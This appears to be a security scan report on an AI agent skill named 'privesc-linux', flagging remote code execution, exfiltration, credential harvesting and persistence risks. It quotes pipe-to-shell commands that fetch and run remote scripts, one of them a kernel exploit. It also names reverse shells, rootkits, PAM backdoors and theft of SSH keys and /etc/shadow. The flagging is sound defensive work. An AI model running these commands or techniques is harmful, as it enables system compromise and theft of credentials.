The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Multiple instances of downloading scripts and binaries from unverified external sources and executing them immediately without review. Evidence includes:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh (LinPEAS execution)
curl -L https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl | perl (Exploit suggester execution)
curl https://copy.fail/exp | python3 (Direct execution of kernel exploit code from an untrusted domain)
Binary downloads for traitor and pspy from GitHub releases followed by chmod +x and execution.
[COMMAND_EXECUTION]: The skill provides detailed instructions for compiling and executing malicious code to achieve privilege escalation, such as:
Compiling C shared libraries to abuse LD_PRELOAD and RPATH for root shell spawning.
Creating SUID backdoor binaries and shared object injection payloads.
Manipulating systemd generators and services to execute arbitrary bash commands.
[DATA_EXFILTRATION]: The skill includes numerous reverse shell payloads using the /dev/tcp/ bash primitive across multiple persistence techniques (Shell profiles, Systemd, Cron, MOTD, etc.). It also provides instructions for scanning the entire filesystem to hunt for sensitive data including:
SSH private keys (id_rsa, id_ed25519).
Shell history files (.bash_history).
Environment variables and configuration files containing database credentials, API keys, and tokens.
[CREDENTIALS_UNSAFE]: Includes commands designed to harvest secrets and hardcoded credentials from local system files, such as /etc/shadow, WordPress configs, and cloud provider credential stores (AWS, GCloud).
[PERSISTENCE]: The skill details 20 distinct methods for establishing persistent access to a compromised system. This includes highly intrusive techniques like:
Installing the Diamorphine LKM rootkit to hide processes and files.
Modifying PAM (Pluggable Authentication Modules) to create a 'Skeleton Key' backdoor or credential logger.
Injecting malicious entries into /etc/ld.so.preload and package manager hooks (APT/YUM).

privesc-linux